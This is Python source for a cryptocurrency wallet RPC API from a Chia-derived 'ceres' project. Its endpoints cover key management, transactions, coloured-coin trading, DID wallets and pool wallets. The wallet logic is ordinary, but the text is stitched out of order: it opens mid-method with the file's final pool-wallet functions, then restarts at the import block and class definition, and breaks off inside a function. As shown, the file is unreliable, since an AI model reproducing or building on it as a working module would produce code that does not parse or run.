self.service.wallet_state_manager.wallets: continue if record.type == TransactionType.COINBASE_REWARD: if self.service.wallet_state_manager.wallets[record.wallet_id].type() == WalletType.POOLING_WALLET: # Don't add pool rewards for pool wallets. continue pool_reward_amount += record.amount height = record.height_farmed(self.service.constants.GENESIS_CHALLENGE) if record.type == TransactionType.FEE_REWARD: fee_amount += record.amount - calculate_base_farmer_reward(height) farmer_reward_amount += calculate_base_farmer_reward(height) if height > last_height_farmed: last_height_farmed = height amount += record.amount assert amount == pool_reward_amount + farmer_reward_amount + fee_amount return { "farmed_amount": amount, "pool_reward_amount": pool_reward_amount, "farmer_reward_amount": farmer_reward_amount, "fee_amount": fee_amount, "last_height_farmed": last_height_farmed, } async def create_signed_transaction(self, request, hold_lock=True): if "additions" not in request or len(request["additions"]) < 1: raise ValueError("Specify additions list") additions: List[Dict] = request["additions"] amount_0: uint64 = uint64(additions[0]["amount"]) assert amount_0 <= self.service.constants.MAX_COIN_AMOUNT puzzle_hash_0 = hexstr_to_bytes(additions[0]["puzzle_hash"]) if len(puzzle_hash_0) != 32: raise ValueError(f"Address must be 32 bytes. {puzzle_hash_0}") additional_outputs = [] for addition in additions[1:]: receiver_ph = hexstr_to_bytes(addition["puzzle_hash"]) if len(receiver_ph) != 32: raise ValueError(f"Address must be 32 bytes. {receiver_ph}") amount = uint64(addition["amount"]) if amount > self.service.constants.MAX_COIN_AMOUNT: raise ValueError(f"Coin amount cannot exceed {self.service.constants.MAX_COIN_AMOUNT}") additional_outputs.append({"puzzlehash": receiver_ph, "amount": amount}) fee = uint64(0) if "fee" in request: fee = uint64(request["fee"]) coins = None if "coins" in request and len(request["coins"]) > 0: coins = set([Coin.from_json_dict(coin_json) for coin_json in request["coins"]]) if hold_lock: async with self.service.wallet_state_manager.lock: signed_tx = await self.service.wallet_state_manager.main_wallet.generate_signed_transaction( amount_0, puzzle_hash_0, fee, coins=coins, ignore_max_send_amount=True, primaries=additional_outputs ) else: signed_tx = await self.service.wallet_state_manager.main_wallet.generate_signed_transaction( amount_0, puzzle_hash_0, fee, coins=coins, ignore_max_send_amount=True, primaries=additional_outputs ) return {"signed_tx": signed_tx} ########################################################################################## # Pool Wallet ########################################################################################## async def pw_join_pool(self, request): wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] pool_wallet_info: PoolWalletInfo = await wallet.get_current_state() owner_pubkey = pool_wallet_info.current.owner_pubkey target_puzzlehash = None if "target_puzzlehash" in request: target_puzzlehash = bytes32(hexstr_to_bytes(request["target_puzzlehash"])) new_target_state: PoolState = create_pool_state( FARMING_TO_POOL, target_puzzlehash, owner_pubkey, request["pool_url"], uint32(request["relative_lock_height"]), ) async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.join_pool(new_target_state) return {"transaction": tx} async def pw_self_pool(self, request): # Leaving a pool requires two state transitions. # First we transition to PoolSingletonState.LEAVING_POOL # Then we transition to FARMING_TO_POOL or SELF_POOLING wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.self_pool() return {"transaction": tx} async def pw_absorb_rewards(self, request): """Perform a sweep of the p2_singleton rewards controlled by the pool wallet singleton""" if await self.service.wallet_state_manager.synced() is False: raise ValueError("Wallet needs to be fully synced before collecting rewards") wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] fee = uint64(request["fee"]) async with self.service.wallet_state_manager.lock: transaction: TransactionRecord = await wallet.claim_pool_rewards(fee) state: PoolWalletInfo = await wallet.get_current_state() return {"state": state.to_json_dict(), "transaction": transaction} async def pw_status(self, request): """Return the complete state of the Pool wallet with id `request["wallet_id"]`""" wallet_id = uint32(request["wallet_id"]) wallet: PoolWallet = self.service.wallet_state_manager.wallets[wallet_id] if wallet.type() != WalletType.POOLING_WALLET.value: raise ValueError(f"wallet_id {wallet_id} is not a pooling wallet") state: PoolWalletInfo = await wallet.get_current_state() unconfirmed_transactions: List[TransactionRecord] = await wallet.get_unconfirmed_transactions() return { "state": state.to_json_dict(), "unconfirmed_transactions": unconfirmed_transactions, }
import asyncio import logging import time from pathlib import Path from typing import Callable, Dict, List, Optional, Tuple from blspy import PrivateKey, G1Element from ceres.consensus.block_rewards import calculate_base_farmer_reward from ceres.pools.pool_wallet import PoolWallet from ceres.pools.pool_wallet_info import create_pool_state, FARMING_TO_POOL, PoolWalletInfo, PoolState from ceres.protocols.protocol_message_types import ProtocolMessageTypes from ceres.server.outbound_message import NodeType, make_msg from ceres.simulator.simulator_protocol import FarmNewBlockProtocol from ceres.types.blockchain_format.coin import Coin from ceres.types.blockchain_format.sized_bytes import bytes32 from ceres.util.bech32m import decode_puzzle_hash, encode_puzzle_hash from ceres.util.byte_types import hexstr_to_bytes from ceres.util.ints import uint32, uint64 from ceres.util.keychain import KeyringIsLocked, bytes_to_mnemonic, generate_mnemonic from ceres.util.path import path_from_root from ceres.util.ws_message import WsRpcMessage, create_payload_dict from ceres.wallet.cc_wallet.cc_wallet import CCWallet from ceres.wallet.derive_keys import master_sk_to_singleton_owner_sk from ceres.wallet.rl_wallet.rl_wallet import RLWallet from ceres.wallet.derive_keys import master_sk_to_farmer_sk, master_sk_to_pool_sk, master_sk_to_wallet_sk from ceres.wallet.did_wallet.did_wallet import DIDWallet from ceres.wallet.trade_record import TradeRecord from ceres.wallet.transaction_record import TransactionRecord from ceres.wallet.util.backup_utils import download_backup, get_backup_info, upload_backup from ceres.wallet.util.trade_utils import trade_record_to_dict from ceres.wallet.util.transaction_type import TransactionType from ceres.wallet.util.wallet_types import WalletType from ceres.wallet.wallet_info import WalletInfo from ceres.wallet.wallet_node import WalletNode from ceres.util.config import load_config from ceres.consensus.coinbase import create_puzzlehash_for_pk # Timeout for response from wallet/full node for sending a transaction TIMEOUT = 30 log = logging.getLogger(__name__) class WalletRpcApi: def __init__(self, wallet_node: WalletNode): assert wallet_node is not None self.service = wallet_node self.service_name = "chia_wallet" def get_routes(self) -> Dict[str, Callable]: return { # Key management "/log_in": self.log_in, "/get_public_keys": self.get_public_keys, "/get_private_key": self.get_private_key, "/generate_mnemonic": self.generate_mnemonic, "/add_key": self.add_key, "/delete_key": self.delete_key, "/check_delete_key": self.check_delete_key, "/delete_all_keys": self.delete_all_keys, # Wallet node "/get_sync_status": self.get_sync_status, "/get_height_info": self.get_height_info, "/farm_block": self.farm_block, # Only when node simulator is running # this function is just here for backwards-compatibility. It will probably # be removed in the future "/get_initial_freeze_period": self.get_initial_freeze_period, "/get_network_info": self.get_network_info, # Wallet management "/get_wallets": self.get_wallets, "/create_new_wallet": self.create_new_wallet, # Wallet "/get_wallet_balance": self.get_wallet_balance, "/get_transaction": self.get_transaction, "/get_transactions": self.get_transactions, "/get_next_address": self.get_next_address, "/send_transaction": self.send_transaction, "/send_transaction_multi": self.send_transaction_multi, "/create_backup": self.create_backup, "/get_transaction_count": self.get_transaction_count, "/get_farmed_amount": self.get_farmed_amount, "/create_signed_transaction": self.create_signed_transaction, "/delete_unconfirmed_transactions": self.delete_unconfirmed_transactions, # Coloured coins and trading "/cc_set_name": self.cc_set_name, "/cc_get_name": self.cc_get_name, "/cc_spend": self.cc_spend, "/cc_get_colour": self.cc_get_colour, "/create_offer_for_ids": self.create_offer_for_ids, "/get_discrepancies_for_offer": self.get_discrepancies_for_offer, "/respond_to_offer": self.respond_to_offer, "/get_trade": self.get_trade, "/get_all_trades": self.get_all_trades, "/cancel_trade": self.cancel_trade, # DID Wallet "/did_update_recovery_ids": self.did_update_recovery_ids, "/did_spend": self.did_spend, "/did_get_pubkey": self.did_get_pubkey, "/did_get_did": self.did_get_did, "/did_recovery_spend": self.did_recovery_spend, "/did_get_recovery_list": self.did_get_recovery_list, "/did_create_attest": self.did_create_attest, "/did_get_information_needed_for_recovery": self.did_get_information_needed_for_recovery, "/did_create_backup_file": self.did_create_backup_file, # RL wallet "/rl_set_user_info": self.rl_set_user_info, "/send_clawback_transaction:": self.send_clawback_transaction, "/add_rate_limited_funds:": self.add_rate_limited_funds, # Pool Wallet "/pw_join_pool": self.pw_join_pool, "/pw_self_pool": self.pw_self_pool, "/pw_absorb_rewards": self.pw_absorb_rewards, "/pw_status": self.pw_status, } async def _state_changed(self, *args) -> List[WsRpcMessage]: """ Called by the WalletNode or WalletStateManager when something has changed in the wallet. This gives us an opportunity to send notifications to all connected clients via WebSocket. """ if len(args) < 2: return [] data = { "state": args[0], } if args[1] is not None: data["wallet_id"] = args[1] if args[2] is not None: data["additional_data"] = args[2] return [create_payload_dict("state_changed", data, "chia_wallet", "wallet_ui")] async def _stop_wallet(self): """ Stops a currently running wallet/key, which allows starting the wallet with a new key. Each key has it's own wallet database. """ if self.service is not None: self.service._close() await self.service._await_closed() ########################################################################################## # Key management ########################################################################################## async def log_in(self, request): """ Logs in the wallet with a specific key. """ fingerprint = request["fingerprint"] if self.service.logged_in_fingerprint == fingerprint: return {"fingerprint": fingerprint} await self._stop_wallet() log_in_type = request["type"] recovery_host = request["host"] testing = False if "testing" in self.service.config and self.service.config["testing"] is True: testing = True if log_in_type == "skip": started = await self.service._start(fingerprint=fingerprint, skip_backup_import=True) elif log_in_type == "restore_backup": file_path = Path(request["file_path"]) started = await self.service._start(fingerprint=fingerprint, backup_file=file_path) else: started = await self.service._start(fingerprint) if started is True: return {"fingerprint": fingerprint} elif testing is True and self.service.backup_initialized is False: response = {"success": False, "error": "not_initialized"} return response elif self.service.backup_initialized is False: backup_info = None backup_path = None try: private_key = await self.service.get_key_for_fingerprint(fingerprint) last_recovery = await download_backup(recovery_host, private_key) backup_path = path_from_root(self.service.root_path, "last_recovery") if backup_path.exists(): backup_path.unlink() backup_path.write_text(last_recovery) backup_info = get_backup_info(backup_path, private_key) backup_info["backup_host"] = recovery_host backup_info["downloaded"] = True except Exception as e: log.error(f"error {e}") response = {"success": False, "error": "not_initialized"} if backup_info is not None: response["backup_info"] = backup_info response["backup_path"] = f"{backup_path}" return response return {"success": False, "error": "Unknown Error"} async def get_public_keys(self, request: Dict): try: assert self.service.keychain_proxy is not None # An offering to the mypy gods fingerprints = [ sk.get_g1().get_fingerprint() for (sk, seed) in await self.service.keychain_proxy.get_all_private_keys() ] except KeyringIsLocked: return {"keyring_is_locked": True} except Exception: return {"public_key_fingerprints": []} else: return {"public_key_fingerprints": fingerprints} async def _get_private_key(self, fingerprint) -> Tuple[Optional[PrivateKey], Optional[bytes]]: try: assert self.service.keychain_proxy is not None # An offering to the mypy gods all_keys = await self.service.keychain_proxy.get_all_private_keys() for sk, seed in all_keys: if sk.get_g1().get_fingerprint() == fingerprint: return sk, seed except Exception as e: log.error(f"Failed to get private key by fingerprint: {e}") return None, None async def get_private_key(self, request): fingerprint = request["fingerprint"] sk, seed = await self._get_private_key(fingerprint) if sk is not None: s = bytes_to_mnemonic(seed) if seed is not None else None return { "private_key": { "fingerprint": fingerprint, "sk": bytes(sk).hex(), "pk": bytes(sk.get_g1()).hex(), "farmer_pk": bytes(master_sk_to_farmer_sk(sk).get_g1()).hex(), "pool_pk": bytes(master_sk_to_pool_sk(sk).get_g1()).hex(), "seed": s, }, } return {"success": False, "private_key": {"fingerprint": fingerprint}} async def generate_mnemonic(self, request: Dict): return {"mnemonic": generate_mnemonic().split(" ")} async def add_key(self, request): if "mnemonic" not in request: raise ValueError("Mnemonic not in request") # Adding a key from 24 word mnemonic mnemonic = request["mnemonic"] passphrase = "" try: sk = await self.service.keychain_proxy.add_private_key(" ".join(mnemonic), passphrase) except KeyError as e: return { "success": False, "error": f"The word '{e.args[0]}' is incorrect.'", "word": e.args[0], } except Exception as e: return {"success": False, "error": str(e)} fingerprint = sk.get_g1().get_fingerprint() await self._stop_wallet() # Makes sure the new key is added to config properly started = False try: await self.service.keychain_proxy.check_keys(self.service.root_path) except Exception as e: log.error(f"Failed to check_keys after adding a new key: {e}") request_type = request["type"] if request_type == "new_wallet": started = await self.service._start(fingerprint=fingerprint, new_wallet=True) elif request_type == "skip": started = await self.service._start(fingerprint=fingerprint, skip_backup_import=True) elif request_type == "restore_backup": file_path = Path(request["file_path"]) started = await self.service._start(fingerprint=fingerprint, backup_file=file_path) if started is True: return {"fingerprint": fingerprint} raise ValueError("Failed to start") async def delete_key(self, request): await self._stop_wallet() fingerprint = request["fingerprint"] try: await self.service.keychain_proxy.delete_key_by_fingerprint(fingerprint) except Exception as e: log.error(f"Failed to delete key by fingerprint: {e}") return {"success": False, "error": str(e)} path = path_from_root( self.service.root_path, f"{self.service.config['database_path']}-{fingerprint}", ) if path.exists(): path.unlink() return {} async def _check_key_used_for_rewards( self, new_root: Path, sk: PrivateKey, max_ph_to_search: int ) -> Tuple[bool, bool]: """Checks if the given key is used for either the farmer rewards or pool rewards returns a tuple of two booleans The first is true if the key is used as the Farmer rewards, otherwise false The second is true if the key is used as the Pool rewards, otherwise false Returns both false if the key cannot be found with the given fingerprint """ if sk is None: return False, False config: Dict = load_config(new_root, "config.yaml") farmer_target = config["farmer"].get("xch_target_address") pool_target = config["pool"].get("xch_target_address") found_farmer = False found_pool = False selected = config["selected_network"] prefix = config["network_overrides"]["config"][selected]["address_prefix"] for i in range(max_ph_to_search): if found_farmer and found_pool: break ph = encode_puzzle_hash(create_puzzlehash_for_pk(master_sk_to_wallet_sk(sk, uint32(i)).get_g1()), prefix) if ph == farmer_target: found_farmer = True if ph == pool_target: found_pool = True return found_farmer, found_pool async def check_delete_key(self, request): """Check the key use prior to possible deletion checks whether key is used for either farm or pool rewards checks if any wallets have a non-zero balance """ used_for_farmer: bool = False used_for_pool: bool = False walletBalance: bool = False fingerprint = request["fingerprint"] sk, _ = await self._get_private_key(fingerprint) if sk is not None: used_for_farmer, used_for_pool = await self._check_key_used_for_rewards(self.service.root_path, sk, 100) if self.service.logged_in_fingerprint != fingerprint: await self._stop_wallet() await self.service._start(fingerprint=fingerprint, skip_backup_import=True) async with self.service.wallet_state_manager.lock: wallets: List[WalletInfo] = await self.service.wallet_state_manager.get_all_wallet_info_entries() for w in wallets: wallet = self.service.wallet_state_manager.wallets[w.id] unspent = await self.service.wallet_state_manager.coin_store.get_unspent_coins_for_wallet(w.id) balance = await wallet.get_confirmed_balance(unspent) pending_balance = await wallet.get_unconfirmed_balance(unspent) if (balance + pending_balance) > 0: walletBalance = True break return { "fingerprint": fingerprint, "used_for_farmer_rewards": used_for_farmer, "used_for_pool_rewards": used_for_pool, "wallet_balance": walletBalance, } async def delete_all_keys(self, request: Dict): await self._stop_wallet() try: assert self.service.keychain_proxy is not None # An offering to the mypy gods await self.service.keychain_proxy.delete_all_keys() except Exception as e: log.error(f"Failed to delete all keys: {e}") return {"success": False, "error": str(e)} path = path_from_root(self.service.root_path, self.service.config["database_path"]) if path.exists(): path.unlink() return {} ########################################################################################## # Wallet Node ########################################################################################## async def get_sync_status(self, request: Dict): assert self.service.wallet_state_manager is not None syncing = self.service.wallet_state_manager.sync_mode synced = await self.service.wallet_state_manager.synced() return {"synced": synced, "syncing": syncing, "genesis_initialized": True} async def get_height_info(self, request: Dict): assert self.service.wallet_state_manager is not None peak = self.service.wallet_state_manager.peak if peak is None: return {"height": 0} else: return {"height": peak.height} async def get_network_info(self, request: Dict): assert self.service.wallet_state_manager is not None network_name = self.service.config["selected_network"] address_prefix = self.service.config["network_overrides"]["config"][network_name]["address_prefix"] return {"network_name": network_name, "network_prefix": address_prefix} async def farm_block(self, request): raw_puzzle_hash = decode_puzzle_hash(request["address"]) request = FarmNewBlockProtocol(raw_puzzle_hash) msg = make_msg(ProtocolMessageTypes.farm_new_block, request) await self.service.server.send_to_all([msg], NodeType.FULL_NODE) return {} ########################################################################################## # Wallet Management ########################################################################################## async def get_wallets(self, request: Dict): assert self.service.wallet_state_manager is not None wallets: List[WalletInfo] = await self.service.wallet_state_manager.get_all_wallet_info_entries() return {"wallets": wallets} async def _create_backup_and_upload(self, host) -> None: assert self.service.wallet_state_manager is not None try: if "testing" in self.service.config and self.service.config["testing"] is True: return None now = time.time() file_name = f"backup_{now}" path = path_from_root(self.service.root_path, file_name) await self.service.wallet_state_manager.create_wallet_backup(path) backup_text = path.read_text() response = await upload_backup(host, backup_text) success = response["success"] if success is False: log.error("Failed to upload backup to wallet backup service") elif success is True: log.info("Finished upload of the backup file") except Exception as e: log.error(f"Exception in upload backup. Error: {e}") async def create_new_wallet(self, request: Dict): assert self.service.wallet_state_manager is not None wallet_state_manager = self.service.wallet_state_manager main_wallet = wallet_state_manager.main_wallet host = request["host"] if "fee" in request: fee: uint64 = request["fee"] else: fee = uint64(0) if request["wallet_type"] == "cc_wallet": if request["mode"] == "new": async with self.service.wallet_state_manager.lock: cc_wallet: CCWallet = await CCWallet.create_new_cc( wallet_state_manager, main_wallet, request["amount"] ) colour = cc_wallet.get_colour() asyncio.create_task(self._create_backup_and_upload(host)) return { "type": cc_wallet.type(), "colour": colour, "wallet_id": cc_wallet.id(), } elif request["mode"] == "existing": async with self.service.wallet_state_manager.lock: cc_wallet = await CCWallet.create_wallet_for_cc( wallet_state_manager, main_wallet, request["colour"] ) asyncio.create_task(self._create_backup_and_upload(host)) return {"type": cc_wallet.type()} else: # undefined mode pass elif request["wallet_type"] == "rl_wallet": if request["rl_type"] == "admin": log.info("Create rl admin wallet") async with self.service.wallet_state_manager.lock: rl_admin: RLWallet = await RLWallet.create_rl_admin(wallet_state_manager) success = await rl_admin.admin_create_coin( uint64(int(request["interval"])), uint64(int(request["limit"])), request["pubkey"], uint64(int(request["amount"])), uint64(int(request["fee"])) if "fee" in request else uint64(0), ) asyncio.create_task(self._create_backup_and_upload(host)) assert rl_admin.rl_info.admin_pubkey is not None return { "success": success, "id": rl_admin.id(), "type": rl_admin.type(), "origin": rl_admin.rl_info.rl_origin, "pubkey": rl_admin.rl_info.admin_pubkey.hex(), } elif request["rl_type"] == "user": log.info("Create rl user wallet") async with self.service.wallet_state_manager.lock: rl_user: RLWallet = await RLWallet.create_rl_user(wallet_state_manager) asyncio.create_task(self._create_backup_and_upload(host)) assert rl_user.rl_info.user_pubkey is not None return { "id": rl_user.id(), "type": rl_user.type(), "pubkey": rl_user.rl_info.user_pubkey.hex(), } else: # undefined rl_type pass elif request["wallet_type"] == "did_wallet": if request["did_type"] == "new": backup_dids = [] num_needed = 0 for d in request["backup_dids"]: backup_dids.append(hexstr_to_bytes(d)) if len(backup_dids) > 0: num_needed = uint64(request["num_of_backup_ids_needed"]) async with self.service.wallet_state_manager.lock: did_wallet: DIDWallet = await DIDWallet.create_new_did_wallet( wallet_state_manager, main_wallet, int(request["amount"]), backup_dids, uint64(num_needed), ) my_did = did_wallet.get_my_DID() return { "success": True, "type": did_wallet.type(), "my_did": my_did, "wallet_id": did_wallet.id(), } elif request["did_type"] == "recovery": async with self.service.wallet_state_manager.lock: did_wallet = await DIDWallet.create_new_did_wallet_from_recovery( wallet_state_manager, main_wallet, request["filename"] ) assert did_wallet.did_info.temp_coin is not None assert did_wallet.did_info.temp_puzhash is not None assert did_wallet.did_info.temp_pubkey is not None my_did = did_wallet.get_my_DID() coin_name = did_wallet.did_info.temp_coin.name().hex() coin_list = did_wallet.did_info.temp_coin.as_list() newpuzhash = did_wallet.did_info.temp_puzhash pubkey = did_wallet.did_info.temp_pubkey return { "success": True, "type": did_wallet.type(), "my_did": my_did, "wallet_id": did_wallet.id(), "coin_name": coin_name, "coin_list": coin_list, "newpuzhash": newpuzhash.hex(), "pubkey": pubkey.hex(), "backup_dids": did_wallet.did_info.backup_ids, "num_verifications_required": did_wallet.did_info.num_of_backup_ids_needed, } elif request["wallet_type"] == "pool_wallet": if request["mode"] == "new": owner_puzzle_hash: bytes32 = await self.service.wallet_state_manager.main_wallet.get_puzzle_hash(True) from ceres.pools.pool_wallet_info import initial_pool_state_from_dict async with self.service.wallet_state_manager.lock: last_wallet: Optional[ WalletInfo ] = await self.service.wallet_state_manager.user_store.get_last_wallet() assert last_wallet is not None next_id = last_wallet.id + 1 owner_sk: PrivateKey = master_sk_to_singleton_owner_sk( self.service.wallet_state_manager.private_key, uint32(next_id) ) owner_pk: G1Element = owner_sk.get_g1() initial_target_state = initial_pool_state_from_dict( request["initial_target_state"], owner_pk, owner_puzzle_hash ) assert initial_target_state is not None try: delayed_address = None if "p2_singleton_delayed_ph" in request: delayed_address = hexstr_to_bytes(request["p2_singleton_delayed_ph"]) tr, p2_singleton_puzzle_hash, launcher_id = await PoolWallet.create_new_pool_wallet_transaction( wallet_state_manager, main_wallet, initial_target_state, fee, request.get("p2_singleton_delay_time", None), delayed_address, ) except Exception as e: raise ValueError(str(e)) return { "transaction": tr, "launcher_id": launcher_id.hex(), "p2_singleton_puzzle_hash": p2_singleton_puzzle_hash.hex(), } elif request["mode"] == "recovery": raise ValueError("Need upgraded singleton for on-chain recovery") else: # undefined did_type pass else: # undefined wallet_type pass return None ########################################################################################## # Wallet ########################################################################################## async def get_wallet_balance(self, request: Dict) -> Dict: assert self.service.wallet_state_manager is not None wallet_id = uint32(int(request["wallet_id"])) wallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: unspent_records = await self.service.wallet_state_manager.coin_store.get_unspent_coins_for_wallet(wallet_id) balance = await wallet.get_confirmed_balance(unspent_records) pending_balance = await wallet.get_unconfirmed_balance(unspent_records) spendable_balance = await wallet.get_spendable_balance(unspent_records) pending_change = await wallet.get_pending_change_balance() max_send_amount = await wallet.get_max_send_amount(unspent_records) unconfirmed_removals: Dict[ bytes32, Coin ] = await wallet.wallet_state_manager.unconfirmed_removals_for_wallet(wallet_id) wallet_balance = { "wallet_id": wallet_id, "confirmed_wallet_balance": balance, "unconfirmed_wallet_balance": pending_balance, "spendable_balance": spendable_balance, "pending_change": pending_change, "max_send_amount": max_send_amount, "unspent_coin_count": len(unspent_records), "pending_coin_removal_count": len(unconfirmed_removals), } return {"wallet_balance": wallet_balance} async def get_transaction(self, request: Dict) -> Dict: assert self.service.wallet_state_manager is not None transaction_id: bytes32 = bytes32(hexstr_to_bytes(request["transaction_id"])) tr: Optional[TransactionRecord] = await self.service.wallet_state_manager.get_transaction(transaction_id) if tr is None: raise ValueError(f"Transaction 0x{transaction_id.hex()} not found") return { "transaction": tr, "transaction_id": tr.name, } async def get_transactions(self, request: Dict) -> Dict: assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) if "start" in request: start = request["start"] else: start = 0 if "end" in request: end = request["end"] else: end = 50 transactions = await self.service.wallet_state_manager.tx_store.get_transactions_between(wallet_id, start, end) formatted_transactions = [] selected = self.service.config["selected_network"] prefix = self.service.config["network_overrides"]["config"][selected]["address_prefix"] for tx in transactions: formatted = tx.to_json_dict() formatted["to_address"] = encode_puzzle_hash(tx.to_puzzle_hash, prefix) formatted_transactions.append(formatted) return { "transactions": formatted_transactions, "wallet_id": wallet_id, } # this function is just here for backwards-compatibility. It will probably # be removed in the future async def get_initial_freeze_period(self, _: Dict): # Mon May 03 2021 17:00:00 GMT+0000 return {"INITIAL_FREEZE_END_TIMESTAMP": 1620061200} async def get_next_address(self, request: Dict) -> Dict: """ Returns a new address """ assert self.service.wallet_state_manager is not None if request["new_address"] is True: create_new = True else: create_new = False wallet_id = uint32(int(request["wallet_id"])) wallet = self.service.wallet_state_manager.wallets[wallet_id] selected = self.service.config["selected_network"] prefix = self.service.config["network_overrides"]["config"][selected]["address_prefix"] if wallet.type() == WalletType.STANDARD_WALLET: raw_puzzle_hash = await wallet.get_puzzle_hash(create_new) address = encode_puzzle_hash(raw_puzzle_hash, prefix) elif wallet.type() == WalletType.COLOURED_COIN: raw_puzzle_hash = await wallet.get_puzzle_hash(create_new) address = encode_puzzle_hash(raw_puzzle_hash, prefix) else: raise ValueError(f"Wallet type {wallet.type()} cannot create puzzle hashes") return { "wallet_id": wallet_id, "address": address, } async def send_transaction(self, request): assert self.service.wallet_state_manager is not None if await self.service.wallet_state_manager.synced() is False: raise ValueError("Wallet needs to be fully synced before sending transactions") wallet_id = int(request["wallet_id"]) wallet = self.service.wallet_state_manager.wallets[wallet_id] if not isinstance(request["amount"], int) or not isinstance(request["fee"], int): raise ValueError("An integer amount or fee is required (too many decimals)") amount: uint64 = uint64(request["amount"]) puzzle_hash: bytes32 = decode_puzzle_hash(request["address"]) if "fee" in request: fee = uint64(request["fee"]) else: fee = uint64(0) async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.generate_signed_transaction(amount, puzzle_hash, fee) await wallet.push_transaction(tx) # Transaction may not have been included in the mempool yet. Use get_transaction to check. return { "transaction": tx, "transaction_id": tx.name, } async def send_transaction_multi(self, request): assert self.service.wallet_state_manager is not None if await self.service.wallet_state_manager.synced() is False: raise ValueError("Wallet needs to be fully synced before sending transactions") wallet_id = uint32(request["wallet_id"]) wallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: transaction: TransactionRecord = (await self.create_signed_transaction(request, hold_lock=False))[ "signed_tx" ] await wallet.push_transaction(transaction) # Transaction may not have been included in the mempool yet. Use get_transaction to check. return { "transaction": transaction, "transaction_id": transaction.name, } async def delete_unconfirmed_transactions(self, request): wallet_id = uint32(request["wallet_id"]) if wallet_id not in self.service.wallet_state_manager.wallets: raise ValueError(f"Wallet id {wallet_id} does not exist") async with self.service.wallet_state_manager.lock: async with self.service.wallet_state_manager.tx_store.db_wrapper.lock: await self.service.wallet_state_manager.tx_store.db_wrapper.begin_transaction() await self.service.wallet_state_manager.tx_store.delete_unconfirmed_transactions(wallet_id) if self.service.wallet_state_manager.wallets[wallet_id].type() == WalletType.POOLING_WALLET.value: self.service.wallet_state_manager.wallets[wallet_id].target_state = None await self.service.wallet_state_manager.tx_store.db_wrapper.commit_transaction() # Update the cache await self.service.wallet_state_manager.tx_store.rebuild_tx_cache() return {} async def get_transaction_count(self, request): wallet_id = int(request["wallet_id"]) count = await self.service.wallet_state_manager.tx_store.get_transaction_count_for_wallet(wallet_id) return {"wallet_id": wallet_id, "count": count} async def create_backup(self, request): assert self.service.wallet_state_manager is not None file_path = Path(request["file_path"]) await self.service.wallet_state_manager.create_wallet_backup(file_path) return {} ########################################################################################## # Coloured Coins and Trading ########################################################################################## async def cc_set_name(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] await wallet.set_name(str(request["name"])) return {"wallet_id": wallet_id} async def cc_get_name(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] name: str = await wallet.get_name() return {"wallet_id": wallet_id, "name": name} async def cc_spend(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] puzzle_hash: bytes32 = decode_puzzle_hash(request["inner_address"]) if not isinstance(request["amount"], int) or not isinstance(request["amount"], int): raise ValueError("An integer amount or fee is required (too many decimals)") amount: uint64 = uint64(request["amount"]) if "fee" in request: fee = uint64(request["fee"]) else: fee = uint64(0) async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.generate_signed_transaction([amount], [puzzle_hash], fee) await wallet.push_transaction(tx) return { "transaction": tx, "transaction_id": tx.name, } async def cc_get_colour(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] colour: str = wallet.get_colour() return {"colour": colour, "wallet_id": wallet_id} async def create_offer_for_ids(self, request): assert self.service.wallet_state_manager is not None offer = request["ids"] file_name = request["filename"] async with self.service.wallet_state_manager.lock: ( success, spend_bundle, error, ) = await self.service.wallet_state_manager.trade_manager.create_offer_for_ids(offer, file_name) if success: self.service.wallet_state_manager.trade_manager.write_offer_to_disk(Path(file_name), spend_bundle) return {} raise ValueError(error) async def get_discrepancies_for_offer(self, request): assert self.service.wallet_state_manager is not None file_name = request["filename"] file_path = Path(file_name) async with self.service.wallet_state_manager.lock: ( success, discrepancies, error, ) = await self.service.wallet_state_manager.trade_manager.get_discrepancies_for_offer(file_path) if success: return {"discrepancies": discrepancies} raise ValueError(error) async def respond_to_offer(self, request): assert self.service.wallet_state_manager is not None file_path = Path(request["filename"]) async with self.service.wallet_state_manager.lock: ( success, trade_record, error, ) = await self.service.wallet_state_manager.trade_manager.respond_to_offer(file_path) if not success: raise ValueError(error) return {} async def get_trade(self, request: Dict): assert self.service.wallet_state_manager is not None trade_mgr = self.service.wallet_state_manager.trade_manager trade_id = request["trade_id"] trade: Optional[TradeRecord] = await trade_mgr.get_trade_by_id(trade_id) if trade is None: raise ValueError(f"No trade with trade id: {trade_id}") result = trade_record_to_dict(trade) return {"trade": result} async def get_all_trades(self, request: Dict): assert self.service.wallet_state_manager is not None trade_mgr = self.service.wallet_state_manager.trade_manager all_trades = await trade_mgr.get_all_trades() result = [] for trade in all_trades: result.append(trade_record_to_dict(trade)) return {"trades": result} async def cancel_trade(self, request: Dict): assert self.service.wallet_state_manager is not None wsm = self.service.wallet_state_manager secure = request["secure"] trade_id = hexstr_to_bytes(request["trade_id"]) async with self.service.wallet_state_manager.lock: if secure: await wsm.trade_manager.cancel_pending_offer_safely(trade_id) else: await wsm.trade_manager.cancel_pending_offer(trade_id) return {} async def get_backup_info(self, request: Dict): file_path = Path(request["file_path"]) sk = None if "words" in request: mnemonic = request["words"] passphrase = "" try: assert self.service.keychain_proxy is not None # An offering to the mypy gods sk = await self.service.keychain_proxy.add_private_key(" ".join(mnemonic), passphrase) except KeyError as e: return { "success": False, "error": f"The word '{e.args[0]}' is incorrect.'", "word": e.args[0], } except Exception as e: return {"success": False, 